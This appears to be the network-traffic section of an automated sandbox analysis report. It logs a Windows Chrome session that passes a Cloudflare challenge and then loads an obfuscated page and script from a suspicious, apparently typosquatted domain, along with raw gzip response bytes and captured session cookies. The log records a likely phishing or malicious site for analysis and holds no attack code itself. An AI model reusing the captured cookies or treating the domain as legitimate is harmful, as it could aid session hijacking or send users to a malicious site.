Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:22 GMTServer: ApacheLast-Modified: Sat, 12 Aug 2017 18:25:21 GMTETag: "de0a90-125-556928d656640-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 209Keep-Alive: timeout=5Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 55 8f 3d 6e c3 30 0c 85 af 22 a8 73 ac 26 b3 ac a1 bd 40 b7 20 28 3a 50 36 23 b1 90 29 43 3f c9 10 e4 ee 65 81 04 88 07 72 20 df fb f8 68 67 ba a8 29 41 ad a3 fe ed 8b cf ad 64 d6 ce be 8c 4b be ca 20 ee dd 07 f2 4c 1c 54 8b 68 7d 71 5f b9 56 f2 94 a8 11 56 6b 44 60 e3 e1 69 4a 08 b3 76 a7 dc 55 45 54 fe e1 9c 22 a4 84 1c b0 0e ff 84 23 6e b6 eb 2b 70 10 e2 61 93 c3 f7 d6 32 ab 29 73 23 ee 28 99 56 67 41 c5 82 e7 51 9b b7 db 8d e1 f2 fd fe 33 f4 92 ee 77 ed 3e 1f 3a 4b 4b 50 b5 4c a3 a6 05 e4 b2 81 22 1f ed 0a 85 d8 86 95 83 56 90 da a8 05 67 40 4a 98 46 8e 6e fa 1f 54 0e ee 5b 25 01 00 00 Data Ascii: U=n0"s&@ (:P6#)C?er hg)AdK LTh}q_VVkD`iJvUET"#n+pa2)s#(VgAQ3w>:KKPL"Vg@JFnT[%
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:22 GMTServer: ApacheLast-Modified: Wed, 26 Jan 2022 17:25:21 GMTETag: "de2360-251-5d67f7c7e9df2-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 341Keep-Alive: timeout=5Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 51 5d 6b c2 30 14 fd 2b 97 ee d5 1a a9 75 a2 c4 b0 d9 b9 31 18 4c 9c 7b 96 db 34 4d 83 6d 52 92 76 b2 7f bf 94 da 7d 30 07 7b 09 c9 b9 e7 1e ce 39 a1 99 7a 03 5e a2 73 ab c0 9a 53 c0 e8 37 80 9b 32 ac b2 70 01 b9 31 8d b0 a1 16 27 e7 19 c5 94 ed 84 33 ad e5 c2 51 e2 6a d4 8c 12 0f d2 7f 68 5d 7b b4 66 34 65 14 a1 b0 22 5f 05 44 55 28 85 23 29 f2 a3 b4 a6 d5 19 59 0b 5d 5b 73 58 5b c3 8b d6 8a 71 9d e5 01 34 68 a5 68 56 c1 21 2d 51 1f bd 8c aa 24 38 cb 2f 2a 3c 26 db bb fb b1 54 7e 0f 4b bf 34 48 05 83 9d 2f 6e c0 e0 b9 b5 f0 84 8d 70 0d 0c 44 4a d0 87 f2 36 89 77 4b 7c 8e bf c2 f4 b3 ef e7 6f de 74 28 90 1b dd 20 6f fa 0e 7d 03 5a 86 e7 12 ae c8 79 16 b6 be e2 a4 bf c3 ab eb 7d 74 ec 9a c5 f3 c9 1c 1e 4a a1 2b 63 05 ec 2d aa 12 5e 36 34 b5 2c c1 52 a2 7d 1f c1 ed 7a 04 09 6a cc 10 f6 51 02 d1 6e d1 8d b7 85 d1 62 09 f1 64 1a 46 b3 59 18 2d e2 b8 83 37 95 57 58 c2 e7 4f 74 cf c6 2c 95 ce cd 4d ad 6a 91 0a 9d 29 2d c7 dc 54 01 bb 84 f6 e6 ea 1f f1 3f 00 62 09 2c 6a 51 02 00 00 Data Ascii: Q]k0+u1L{4MmRv}0{9z^sS72p1'3Qjh]{f4e"_DU(#)Y][sX[q4hhV!-Q$8/*<&T~K4H/npDJ6wK\|ot( o}Zy}tJ+c-^64,R}zjQnbdFY-7WXOt,Mj)-T?b,jQ
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:22 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Sat, 12 Aug 2017 18:25:21 GMTETag: "de0a90-125-556928d656640-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 209Keep-Alive: timeout=5Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 55 8f 3d 6e c3 30 0c 85 af 22 a8 73 ac 26 b3 ac a1 bd 40 b7 20 28 3a 50 36 23 b1 90 29 43 3f c9 10 e4 ee 65 81 04 88 07 72 20 df fb f8 68 67 ba a8 29 41 ad a3 fe ed 8b cf ad 64 d6 ce be 8c 4b be ca 20 ee dd 07 f2 4c 1c 54 8b 68 7d 71 5f b9 56 f2 94 a8 11 56 6b 44 60 e3 e1 69 4a 08 b3 76 a7 dc 55 45 54 fe e1 9c 22 a4 84 1c b0 0e ff 84 23 6e b6 eb 2b 70 10 e2 61 93 c3 f7 d6 32 ab 29 73 23 ee 28 99 56 67 41 c5 82 e7 51 9b b7 db 8d e1 f2 fd fe 33 f4 92 ee 77 ed 3e 1f 3a 4b 4b 50 b5 4c a3 a6 05 e4 b2 81 22 1f ed 0a 85 d8 86 95 83 56 90 da a8 05 67 40 4a 98 46 8e 6e fa 1f 54 0e ee 5b 25 01 00 00 Data Ascii: U=n0"s&@ (:P6#)C?er hg)AdK LTh}q_VVkD`iJvUET"#n+pa2)s#(VgAQ3w>:KKPL"Vg@JFnT[%
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:22 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Tue, 05 Jan 2021 13:42:06 GMTETag: "de0a92-3a5-5b8275f520780-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 450Keep-Alive: timeout=5Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 53 cb 6e dc 30 0c fc 15 46 b9 b4 40 b5 6e 7b 4c bc 06 9a fc 42 7e 80 b6 b9 32 53 59 12 24 39 cd 62 91 7f 2f e5 c7 76 e3 73 0f b2 24 0e 39 26 67 ec da e1 1b 74 16 53 3a 2a 39 b6 18 61 d9 74 4f 27 9c 6c 56 10 bd a5 19 64 83 99 bd 53 4d dd f3 b5 a8 f3 2e 23 3b 8a fa 64 27 ee 05 bc d3 1a 9e 22 ba 1e ca ca de 18 4b 60 28 83 89 7e 0a d4 c3 c9 47 68 29 67 8a 30 fa 96 05 ed 39 05 8b 67 d0 fa 13 f7 da c9 40 d8 53 14 e6 76 ca d9 3b c8 e7 20 0d 2d 17 b5 cb 5d 5e a7 a0 c7 8c eb a5 f4 68 2d 86 74 0d 63 94 76 8e ea 7e ad b9 c2 4d 9d 02 ba 8d 31 45 ed 9d 3d ab e6 65 19 e1 9f 02 75 55 f2 1a f8 94 ce a2 84 16 3a 61 f9 1f 70 5d 2d 03 4a 1e ee 66 6c 8b b8 0a 86 48 a7 a3 aa a4 82 47 03 29 76 c2 32 a2 a1 54 59 6f fc e1 35 18 05 29 9f 8b 00 23 be eb 3f dc e7 e1 c1 79 47 77 3c 06 1f 33 ba fc 08 4b 14 7e fc fc 1e de 1f 15 a0 15 5d 9e c8 85 e8 e1 85 ba c1 79 e1 62 4a f0 ec 63 38 94 e6 50 96 58 b4 d8 fc 2c ca 51 97 21 0f b3 3c 60 d9 fd 4e df 8a c1 a3 6c c5 7e 2f 50 84 f2 91 90 cb b3 f3 b3 29 ec cc de ec cd 05 d8 bb 02 dc 5f 47 bf b1 6a b2 37 b2 6c 45 b2 09 64 19 9c d1 91 02 a1 8c c3 99 46 60 57 52 54 89 af 55 17 ec 32 bf d1 03 a7 5f f3 e1 4b c9 3b 4c d1 7e fd 10 0a 2c 99 ab c2 f7 97 0b 6c 20 7c 08 ba dd 1d 8e 24 81 7a 35 6c dd 8a 42 96 e5 31 d9 5b ad aa c3 6e 86 59 80 5b 7c f7 2b 2d b8 14 35 7f 01 fb 0d b6 f3 a5 03 00 00 Data Ascii: Sn0F@n{LB~2SY$9b/vs$9&gtS:*9atO'lVdSM.#;d'"K`(~Gh)g09g@Sv; -]^h-tcv~M1E=euU:ap]-JflHG)v2TYo5)#?yGw<3K~]ybJc8PX,Q!<`Nl~/P)_Gj7lEdF`WRTU2_K;L~,l \|$z5lB1[nY[\|+-5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:22 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Wed, 26 Jan 2022 17:25:21 GMTETag: "de2360-251-5d67f7c7e9df2-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 341Keep-Alive: timeout=5Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 51 5d 6b c2 30 14 fd 2b 97 ee d5 1a a9 75 a2 c4 b0 d9 b9 31 18 4c 9c 7b 96 db 34 4d 83 6d 52 92 76 b2 7f bf 94 da 7d 30 07 7b 09 c9 b9 e7 1e ce 39 a1 99 7a 03 5e a2 73 ab c0 9a 53 c0 e8 37 80 9b 32 ac b2 70 01 b9 31 8d b0 a1 16 27 e7 19 c5 94 ed 84 33 ad e5 c2 51 e2 6a d4 8c 12 0f d2 7f 68 5d 7b b4 66 34 65 14 a1 b0 22 5f 05 44 55 28 85 23 29 f2 a3 b4 a6 d5 19 59 0b 5d 5b 73 58 5b c3 8b d6 8a 71 9d e5 01 34 68 a5 68 56 c1 21 2d 51 1f bd 8c aa 24 38 cb 2f 2a 3c 26 db bb fb b1 54 7e 0f 4b bf 34 48 05 83 9d 2f 6e c0 e0 b9 b5 f0 84 8d 70 0d 0c 44 4a d0 87 f2 36 89 77 4b 7c 8e bf c2 f4 b3 ef e7 6f de 74 28 90 1b dd 20 6f fa 0e 7d 03 5a 86 e7 12 ae c8 79 16 b6 be e2 a4 bf c3 ab eb 7d 74 ec 9a c5 f3 c9 1c 1e 4a a1 2b 63 05 ec 2d aa 12 5e 36 34 b5 2c c1 52 a2 7d 1f c1 ed 7a 04 09 6a cc 10 f6 51 02 d1 6e d1 8d b7 85 d1 62 09 f1 64 1a 46 b3 59 18 2d e2 b8 83 37 95 57 58 c2 e7 4f 74 cf c6 2c 95 ce cd 4d ad 6a 91 0a 9d 29 2d c7 dc 54 01 bb 84 f6 e6 ea 1f f1 3f 00 62 09 2c 6a 51 02 00 00 Data Ascii: Q]k0+u1L{4MmRv}0{9z^sS72p1'3Qjh]{f4e"_DU(#)Y][sX[q4hhV!-Q$8/*<&T~K4H/npDJ6wK\|ot( o}Zy}tJ+c-^64,R}zjQnbdFY-7WXOt,Mj)-T?b,jQ

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZxUvEM5FEX8LxNm&MD=x58mt9eX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=87679d084da044dd HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ridgelineexcavatoin.com/?__cf_chl_rt_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/54ea73d52131/api.js?onload=lmgW1&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ridgelineexcavatoin.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1569742461:1713472060:wAhT1heed4LdXHG2SnaUyUQLhQzlBAHAgZDrJ7xk3UI/87679d084da044dd/87bab2d808f5b85 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=87679d13b8ca6789 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/87679d13b8ca6789/1713474334611/5Vy4gR13UJmVS9e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/87679d13b8ca6789/1713474334611/5Vy4gR13UJmVS9e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/87679d13b8ca6789/1713474334619/352d3b2c5e9dc9bae2aeeb1b41c14cdda5ab05bb78267dfc6c7ea5a85b1d9f3d/EkaxB_SUZeivAD3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/420745436:1713472115:hXgepF4Pru8nhez0Rky2zuUxFmnmIZk3frxog8LQwRY/87679d13b8ca6789/f485bd6dd1c10f1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1569742461:1713472060:wAhT1heed4LdXHG2SnaUyUQLhQzlBAHAgZDrJ7xk3UI/87679d084da044dd/87bab2d808f5b85 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/?__cf_chl_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Referer: https://ridgelineexcavatoin.com/?__cf_chl_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /jq/8a55860f2cae358e560aa5f55856c7c166218b25540f0 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
